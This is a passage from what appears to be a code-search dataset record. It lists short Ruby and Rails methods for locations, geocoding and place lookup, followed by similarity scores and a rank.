logger.info\"<=========latitude===========#{@dest_location.latitude}=========================>\"\n logger.info\"<=========longitude===========#{@dest_location.longitude}=========================>\"\n set_source_and_dest_points(params[:curr_lat],params[:curr_long],@dest_location.latitude,@dest_location.longitude)\n geteta\n unless @error\n @location_detail = current_dispatcher.location_details.create(\n source_lat:params[:curr_lat],\n source_long:params[:curr_long],\n dest_lat:@dest_location.latitude,\n dest_long:@dest_location.longitude,\n eta:@eta,\n curr_lat:params[:curr_lat],\n curr_long:params[:curr_long],\n current_eta:@eta,\n curr_mile:@curr_mile,\n destination_address: @dest_location.formatted_address\n )\n end\n end", "def place\n\t@place.nil? ? nil : Place.find(@place.to_s)\n\t\nend", "def final_location\n\t\t@roo.location\n\tend", "def get_place( city, category, place_id )\n place = get_deep_value( @places, city, category, place_id )\n if not place\n place = get_place_from_site( city, category, place_id )\n return nil if not place\n set_deep_value( @places, place, city, category, place_id )\n end\n place\nend", "def locations\n # blank\n end", "def location\n self.well_info.location\n end", "def get_locations\n location_references =\n lighthouse_appointments.each_with_object({}) do |appt, acc|\n reference = appt.resource.participant.first.actor.reference\n location_id = reference.match(ID_MATCHER)[1]\n\n acc[location_id] ||= []\n acc[location_id] << appt\n end\n\n clinic_identifiers = location_references&.keys&.join(',')\n location_response = location_service.search(_id: clinic_identifiers, _count: '100')\n\n location_response&.resource&.entry\n end", "def get_location(loc)\n geo = Geocoder.search(\"#{loc} seattle\")\n lat = geo[0].latitude\n lon = geo[0].longitude\n [lon, lat]\n end", "def location\n c = Country.find_country_by_alpha2(country)\n country_name = !c.nil? ? c.name : nil\n if (postcode and country)\n return postcode + \", \" + (country_name or country)\n else\n return (postcode or country_name or country)\n end\n end", "def place \n \t!@place.nil? ? Place.find( @place.to_s) : nil\n \tend", "def location_detail\n [self.city, self.state].join(\", \")\n end", "def locations\n get('locations')\n end", "def venue_location\n major_geo = self.state || self.country\n [self.city, major_geo].compact.join(\", \")\n end", "def explore\n @center = Geocoder.coordinates(params[:city])\n @trips = Trip.nearest_with_index(@center) \n end", "def set_place\n @place = Location.where(place_id: params[:id])\n end", "def establishment_proximity_scope\n lat, lng = params[:near].split(\",\") if params[:near].present?\n if lat.present? && lng.present?\n Establishment.near(lat.to_f, lng.to_f)\n else\n Establishment\n end\n end", "def locations\n \tp_arel = self.class.arel_table\n \t\n \tl_arel = Location.arel_table\n\tse_arel = SiteEntity.arel_table\n\tae_arel = AssetEntity.arel_table\n\t\n\ta_arel = Asset.arel_table\n\n\t\n\tlocation_join = l_arel.join(se_arel, Arel::Nodes::InnerJoin)\n\t \t.on(se_arel[:site_entitable_id].eq(l_arel[:id]).and(se_arel[:site_entitable_type].eq(\"Location\")))\n\t .join(ae_arel,Arel::Nodes::InnerJoin)\n\t \t.on(\n\t \t\tae_arel[:site_entity_id].eq(se_arel[:id])\n\t \t)\n\t .join(a_arel,Arel::Nodes::InnerJoin)\n\t \t.on(\n\t \t\ta_arel[:id].eq(ae_arel[:asset_id]).and(a_arel[:photographer_id].eq(id))\n\t \t\n\t \t)\n\t \n\tap location_join\n\t\n\tLocation.joins(location_join.join_sources).uniq\n end", "def get_location\n\n end", "def find_location\n @locations = Location.where('trip_id IS ?', nil).order(created_at: :desc).paginate(page: params[:page], per_page: 15)\n end", "def location(id)\n @client.get(\"/BikePoint/#{id}\")\n end", "def link_to_locations\n\n # Remove any existing links\n # (this method is used in both create and update)\n Visit.where(tour_id: @tour.id).each(&:destroy)\n\n # Create new links\n got_start_location = false\n (1..10).each do |i|\n\n # Grab a location id from the parameters\n # Be forgiving\n # No such key? Okay, set to -1 (flag for no location in this itinerary slot)\n selected_location_id =\n tour_params[\"location\" + i.to_s] ?\n tour_params[\"location\" + i.to_s].to_i :\n -1\n\n # Create visits relationship (or skip to next iteration)\n next unless selected_location_id.positive?\n new_visits_rel = Visit.new(\n tour_id: @tour.id,\n location_id: selected_location_id\n )\n new_visits_rel.save\n\n # Create starts at relationship (or skip to next iteration)\n next if got_start_location\n new_start_at_rel = StartAt.new(\n tour_id: @tour.id,\n location_id: selected_location_id\n )\n new_start_at_rel.save\n got_start_location = true\n\n end\n\n # Gotta have at least one location in the itinerary\n # https://stackoverflow.com/questions/5320934/how-to-add-custom-errors-to-the-user-errors-collection\n unless got_start_location\n @tour.errors[:base] << \"A tour must have at least one location\"\n end\n\n end", "def get_location\n as_json(get_results('/locations.json'))\n end", "def locate!\n if foursquare_venue_id\n locate_via_foursquare!\n else\n locate_via_coords!\n end\n end", "def location\n [city, state, zip_code].join(\" \")\n end", "def location\n [city, state, zip_code].join(\" \")\n end", "def location\n [city, state, zip_code].join(\" \")\n end", "def location\n fetch('sword_art_online.location')\n end", "def location\n ensure_full_data!\n @gapi[\"location\"]\n end", "def city\n [:locality, :sublocality,\n :administrative_area_level_3,\n :administrative_area_level_2].each do |f|\n if entity = address_components_of_type(f)\n return entity['long_name']\n end\n end\n nil # no appropriate components found\n end", "def locations\n self.veterinarians.pluck(:name, :location).map {|x| x.join(\" \")}\n end", "def geoAddress\n\n self.address + \",\" +self.region.name\n\n end", "def locate(params)\n get params.is_a?(String) ? {:loc => params} : map_attributes(location_from_params(params))\n end", "def locate(address)\n get :location => address\n end", "def location_address\n begin\n \"#{cart.line_items.first.menu_section_item.menu_section.menu.location.\n address}, #{cart.line_items.first.menu_section_item.menu_section.menu.\n location.city}, #{cart.line_items.first.menu_section_item.menu_section.\n menu.location.region}\"\n rescue\n \"No current address on record.\"\n end\n end" ]
[ "0.67318213", "0.6215978", "0.61506414", "0.61318624", "0.6104892", "0.60724217", "0.6043568", "0.599354", "0.5975805", "0.5952316", "0.58884007", "0.5875682", "0.5828992", "0.5805762", "0.5805322", "0.57914877", "0.57756495", "0.57629985", "0.57590026", "0.5745338", "0.57409066", "0.57370037", "0.5716721", "0.5709655", "0.5670289", "0.5665661", "0.563564", "0.56354797", "0.56257695", "0.5614345", "0.5610988", "0.5607506", "0.560687", "0.55993813", "0.5591539", "0.55904025", "0.5577044", "0.5570607", "0.55670273", "0.55654484", "0.55654484", "0.5554274", "0.552201", "0.55214053", "0.55146176", "0.55108553", "0.5503946", "0.54956806", "0.5494471", "0.54934144", "0.54934144", "0.5486567", "0.54651505", "0.5464", "0.5461722", "0.54430586", "0.5442754", "0.5434959", "0.5425448", "0.54149663", "0.54067105", "0.5401331", "0.5397894", "0.53934616", "0.5383746", "0.5374622", "0.53725827", "0.53716743", "0.53577256", "0.53547055", "0.5353668", "0.53414917", "0.5332922", "0.5330243", "0.531957", "0.5314031", "0.531112", "0.53104496", "0.5310261", "0.52945304", "0.52828157", "0.52775735", "0.5270967", "0.5268838", "0.5261596", "0.52606153", "0.525169", "0.52450585", "0.52438956", "0.52367455", "0.52367455", "0.52367455", "0.5230343", "0.5227983", "0.5222227", "0.5215459", "0.5207927", "0.52058554", "0.51827365", "0.51772803" ]
0.5965833
9